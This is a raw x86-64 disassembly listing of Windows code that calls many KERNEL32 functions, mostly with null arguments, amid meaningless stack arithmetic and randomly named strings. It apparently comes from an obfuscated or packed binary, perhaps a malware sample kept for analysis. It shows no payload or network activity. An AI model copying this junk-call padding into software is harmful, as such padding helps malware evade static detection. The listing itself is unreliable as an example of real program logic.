call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xba40]
imul rcx, qword [rax]
mov rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xc1d8]
mov qword [rsp + 0xc620], rax
movzx eax, word [rsp + 0x1f38]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov word [rsp + 0x1f70], ax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x6484]
mov qword [rsp + 0xc628], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.o76U2elAHllpMAy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc630], rax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6448], eax
movsx eax, byte [rsp + 0x376]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x375], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6304], eax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc468]
mov qword [0x1401c8a88], rax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rax, [rsp + 0x1f9c]
mov qword [rsp + 0xc638], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x158c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc640], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1718], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc420]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc570]
mov qword [rsp + 0xc648], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc648]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x59f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
lea rax, [rsp + 0xc008]
mov qword [rsp + 0xc658], rax
movsx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x383], al
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x1fc8], ax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
sub eax, ecx
mov word [0x1401c7028], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc5e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6458], eax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, word [rsp + 0x1f3c]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9cc], ax
mov eax, dword [0x1401c8a1c]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xc660], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc660]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5520], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a8], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
or eax, ecx
mov byte [rsp + 0x384], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rdx, [rsp + 0x26098]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64a4], eax
lea rax, [rsp + 0x380]
mov qword [rsp + 0xc668], rax
xor r9d, r9d
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xc670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc670]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc508], rax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6328]
mov dword [rsp + 0x64ac], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb8]
sub eax, ecx
mov word [0x1401c8a70], ax
mov r9d, 2
lea r8, [rsp + 0xc600]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x632c], eax
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xc3a0]
idiv qword [rcx]
mov qword [rsp + 0xaef0], rax
lea rax, [rsp + 0xc388]
mov qword [rsp + 0xc680], rax
movsx eax, word [0x1401c8a28]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x22b3
xor r8d, r8d
lea rdx, [rsp + 0xc5f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6360], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6478], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xfc8]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xc688], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc688]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xbf50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc5a8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x376]
mov byte [rsp + 0x385], al
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f60], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xc218]
movzx ecx, al
mov rax, qword [0x1401c7010]
shl rax, cl
mov qword [rsp + 0xc608], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1f9c]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7050], ax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64b0], eax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov word [rsp + 0x1fd0], ax
lea rcx, str.vhNXMAl57e
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fb0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x381], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc690], rax
mov rax, qword [0x1401c8a60]
mov rcx, qword [rsp + 0xaeb0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9af8], rax
mov eax, dword [rsp + 0x63c4]
mov ecx, dword [rsp + 0x6448]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6400], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx eax, byte [rsp + 0x37c]
mov byte [rsp + 0x386], al
mov rax, qword [section..data]
movzx ecx, al
mov rax, qword [rsp + 0xc508]
shl rax, cl
mov qword [rsp + 0xc1a0], rax
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
lea rax, [rsp + 0x1f9c]
mov qword [rsp + 0xc698], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x648c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x1718]
or eax, ecx
mov word [0x1401c7028], ax
mov rax, qword [rsp + 0xc510]
movzx ecx, al
mov rax, qword [0x1401c7030]
sar rax, cl
mov qword [rsp + 0xc088], rax
movzx eax, word [rsp + 0x1f84]
movzx ecx, word [rsp + 0x9c0]
add eax, ecx
mov word [rsp + 0x1f44], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, word [rsp + 0x196c]
movsx ecx, word [rsp + 0x1f1c]
add eax, ecx
mov word [rsp + 0x178c], ax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xc3a0]
idiv qword [rcx]
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x387], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc378]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f60], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x6494]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x64ac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x1fd4], ax
lea rax, [rsp + 0xc500]
mov qword [0x1401c8a90], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64b8], eax
movzx eax, byte [rsp + 0x117]
movzx ecx, byte [rsp + 0x37b]
sub eax, ecx
mov byte [rsp + 0x1c6], al
lea rax, [rsp + 0x645c]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x158c]
shl eax, cl
mov word [rsp + 0x1608], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
or eax, ecx
mov word [rsp + 0x1f38], ax
mov eax, dword [rsp + 0x6400]
movzx ecx, al
mov eax, dword [rsp + 0x56b8]
shr eax, cl
mov dword [rsp + 0x6348], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov byte [rsp + 0x388], al
lea rcx, [0x1401ac540]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f58], ax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc468]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3f0], rax
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0xc6b0], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov word [0x1401c8a98], ax
mov rax, qword [rsp + 0xc388]
mov rcx, qword [0x1401c8a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xab60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaef0], rax
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa8], ax
lea rax, [rsp + 0xc1d8]
mov qword [rsp + 0xc6b8], rax
movsx eax, word [0x1401c7050]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f9c], ax
movsx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2b6], al
lea rcx, str.Fpx_5kfza.Mav_FWW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fc4], ax
mov rax, qword [0x1401c8a40]
mov ecx, dword [rsp + 0x6400]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc430]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6444], eax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x6470]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x62cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e38]
and eax, ecx
mov word [0x1401c7054], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov word [rsp + 0x1fd8], ax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1fa0]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c0], ax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc1d8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4a0]
mov qword [rsp + 0xc6c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x386]
sar eax, cl
mov byte [rsp + 0x379], al
lea rax, [rsp + 0x62a4]
mov qword [rsp + 0xc6d0], rax
movsx eax, word [rsp + 0x1fb4]
movsx ecx, word [0x1401c8a14]
or eax, ecx
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63f0], eax
lea rax, [rsp + 0x848]
mov qword [rsp + 0xc6d8], rax
lea rax, [rsp + 0xc130]
mov qword [0x1401c8aa0], rax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1f3c]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1718], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov qword [rsp + 0xc6e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xc590]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc488], rax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [rsp + 0x37d]
add eax, ecx
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x62cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d8]
sar eax, cl
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x6448]
mov dword [rsp + 0x64c0], eax
movsx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8a10], ax
movsx eax, word [rsp + 0x1994]
movsx ecx, word [rsp + 0x1f7c]
and eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f8c]
xor eax, ecx
mov word [rsp + 0xc24], ax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f78], ax
lea rax, [rsp + 0x5eb0]
mov qword [rsp + 0xc6f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c4], eax
lea rcx, [rsp + 0x1d3e0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xc6c0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xc3f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x1fdc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc6f8], rax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f6c], ax
mov edx, 0x19de
mov rcx, qword [rsp + 0xc640]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x64c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f70]
sub eax, ecx
mov word [rsp + 0x1fa0], ax
lea rax, [rsp + 0xa1e0]
mov qword [0x1401c8aa8], rax
lea rcx, str.oTm4_k
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fcc], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xc700]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xc708], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc708]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc450], rax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc680]
mov qword [rsp + 0xc710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc710]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc580], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13ec], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc718], rax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
sub eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x62d4]
mov dword [rsp + 0x64cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
imul eax, eax, 0x50
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc3f0]
imul rax, qword [rsp + 0xbf50]
mov qword [rsp + 0xc508], rax
mov eax, dword [rsp + 0x6494]
mov dword [0x1401c8ab0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fc8]
add eax, ecx
mov word [rsp + 0x13c8], ax
movsx eax, word [rsp + 0x13c8]
movsx ecx, word [0x1401c8a80]
add eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov word [rsp + 0x1fe0], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x98d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rcx, [0x1401ac580]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fe4], ax
lea rax, [rsp + 0x388]
mov qword [rsp + 0xc720], rax
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x5a3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x60f4], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc3f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
xor eax, ecx
mov word [0x1401c8a48], ax
